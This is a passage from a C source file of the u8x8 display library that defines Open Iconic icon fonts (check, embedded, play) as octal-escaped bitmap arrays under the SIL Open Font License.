\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\77\\37\\17\\6\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\30<~\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"~<\\30\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\60p\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360p\\60\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\16\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\16\\14\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\377\\376\\374\\370\"\n  \"\\370\\360`\\0\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\7\\3\\1\"\n  \"\\1\\0\\0\\0\\0`\\360\\370\\370\\374\\376\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\377\\377\\177\\77\\0\\0\\0\\1\\1\\3\\7\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\376\\377\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\376\\374\"\n  \"\\370\\340\\300\\200\\1\\3\\7\\37\\77\\177\\177\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\370\\377\\177\\77\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\7\\7\\7\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\60\\360\\360\\377\\377\\377\\377\"\n  \"\\360\\360\\60\\20\\10\\14\\17\\17\\377\\377\\377\\377\\17\\17\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\37\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\360\\360\\377\\376\\374\\370\"\n  \"\\370\\360`\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\376\\370\\360\\360\\370\\374~\\77\\17\\7\\3\\1\\0\\0\\17\\7\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\374~\\77\\37\\17\\7\\17\\37\\177\\374\\370\\360\\340\\300\\200\\0\\360\\340\\300\\200\"\n  \"\\200\\0\\0\\0\\17\\17\\17\\17\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\17\\377\\177\\77\\37\"\n  \"\\37\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\376\\374\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177>\\34\\10\\300\\374\\77\\37\\17\\7\\7\\3\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\77\\37\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\376\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\0\\0\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\376\\374\\370\\360\"\n  \"\\340\\340\\300\\200\\377\\377\\377\\377\\0\\0\\0\\0\\0@\\60\\34\\36\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_check_4x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 5/5\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_check_4x4[644] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_check_4x4\") = \n  \"@D\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\200\\300\\340\\360\\340\\300\\200\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\177\\77\"\n  \"\\37\\17\\6\\0\\2\\7\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\\376\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\370\\360\\340\"\n  \"\\300\\200\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\177\\77\\77\\177\\377\\377\\377\\377\\177\\77\\37\\17\\7\\203\\301\\340\\360\\371\\377\\377\"\n  \"\\377\\377\\376\\360\\17\\177\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\301\\301\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\370\\360\\340\"\n  \"\\300\\200\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\371\\360\\340\\301\\203\\7\\17\\37\\37\\17\\7\\203\\301\\340\\360\\371\\377\\377\\377\\377\"\n  \"\\377\\377\\376\\360\\17\\177\\377\\377\\377\\377\\377\\377\\237\\17\\7\\203\\301\\340\\360\\370\\370\\360\\340\\301\\203\\7\\17\\237\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\7\\3\\201\\300\\340\\360\\370\\374\\376\"\n  \"~<\\30\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\30<~\\376\\374\\370\\360\\360\\370\\374\\376\\177\\77\\37\\17\\7\\3\\201\\300\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\3\\1\\0\\0\\0\\0\\0\\376\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0 p\\370\\374\\376\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\376\\374\"\n  \"\\370\\360`\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\\376\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\177\\77\\77\\177\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\2\\7\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\77\"\n  \"\\37\\17\\6\";\n/*\n  Fontname: open_iconic_embedded_4x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 17/17\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_embedded_4x4[2180] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_embedded_4x4\") = \n  \"@P\\4\\4\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\360\\360\\360\\360\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\370\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\"\n  \"\\374\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60p\\360\\360\\360\\360p\\60\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\370\\360\\360\\340\\340\\340\\360\\376\\377\\377\\377\\377\\376\\360\\340\\340\\340\\360\\360\\370\\360\\340\"\n  \"@\\0\\0\\0\\300\\340\\340\\340\\361\\377\\377\\377\\377\\377\\77\\17\\7\\7\\3\\3\\3\\3\\7\\7\\17\\77\\377\\377\\377\\377\\377\\361\"\n  \"\\340\\340\\340\\300\\3\\7\\7\\17\\217\\377\\377\\377\\377\\377\\374\\360\\340\\340\\300\\300\\300\\300\\340\\340\\360\\374\\377\\377\\377\\377\\377\\217\"\n  \"\\17\\7\\7\\3\\0\\0\\0\\2\\7\\17\\37\\17\\17\\7\\7\\7\\17\\177\\377\\377\\377\\377\\177\\17\\7\\7\\7\\17\\17\\37\\17\\7\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\16\\17\\17\\17\\17\\17\\317\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\360\\360\\360\\360\\360\\376\\377\\377\\377\\367\\361p\\60\\20\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\\370\\374\\376\\377\\377\\376\\374\\370\\370\\360\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\16\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\"\n  \"\\16\\14\\10\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<~\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\1\\3\\7\"\n  \"\\7\\3\\1\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\370\\377\\377\\177\\177\\377\\377\\370\\300\\0\\300\\370\\376\\376\\370\\340\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\7\\7\\7\\7\\7\\37\\377\\377\\377\\377\\37\\3\\0\\0\\3\\37\\377\\377\\377\\377\\77\\17\\3\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\17\\17\\1\\0\\0\\0\\0\\0\\0\\0\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\377\\17\\17\\17\\17\\377\\377\\377\\377\\370\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\374\\360\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\374\\376\\376\\377\\17\\7\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\337\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\370|\\36\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\17\\17\\17\\17\\17\\17\\7\\7\\3\"\n  \"\\3\\1\\0\\0<~\\347\\303\\303\\347\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376<x\\370\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\37>|\\377\\377\\377\\377\\300\\340\\360\\360y\\77\\77\\37\\17\\17\\6\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\370|>\\377\\377\\377\\377\\3\\7\\17\\17\\236\\374\\374\\370\\360\\360`\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\177<\\36\\37\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\377\\377\\377\\377\\17\\17\\17\\37\\36\\36>|\\374\\370\\360\\340\"\n  \"\\300\\200\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\37\"\n  \"\\377\\377\\376\\360\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\370\"\n  \"\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\377\\377\\377\\377\\360\\360\\360\\370xx|>\\77\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\371\\360\\360\\371\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360xx<<\\36\\36\\17\\17\\206\\200\\300\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\203\\303\\303\\341\\341\\360\\360xx<<\\36\\36\\17\\17\\207\\207\\303\\303\\201\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\1a\\360\\360\\370\\370\\374\\374\\376\\376\\377\\377\\377\\7\\3\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\374\\376\\177\\37\\7\\3\\3\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\3\\3\\7\\37\\177\\376\\374\\360\\300\"\n  \"\\0\\0\\0\\0\\77\\377\\377\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\77\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37><|x\\370\\360\\360\\360\\360\\360\\360\\370x|<>\\37\\17\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370||>\\36\\36\\17\\17\\17\\17\\17\\17\\17\\37\\36\\36>|\\370\\370\\360\\360\"\n  \"\\370\\374\\376\\376\\360\\376\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\16\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\17\\17\\177\\377\\377\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37>>|xx\\370\\360\\360\\360\\360\\360\\360\\370xx|>>\\34\\10\\0\"\n  \"\\0\\0\\0\\0\\20xx|<<\\36\\36\\36\\36\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\36\\36\\36\\36<<|x\"\n  \"x\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\340\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\1\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\377\\377\\377\\377~<\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_play_4x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 18/18\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_play_4x4[2308] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_play_4x4\") = \n  \"@Q\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\17\\17\\17\\17\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\\370\\374\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\371\\301\\3\\3\\7\\7\\17\\17\\37\\37\\77\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\376\\374\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\10\\14\\16\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\16\\14\\10\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\300\\340\\360\\370|>\\36\\36\\17\\17\\17\\17\\17\\17\\36\\36>|\\370\\360\\340\\300\\0\"\n  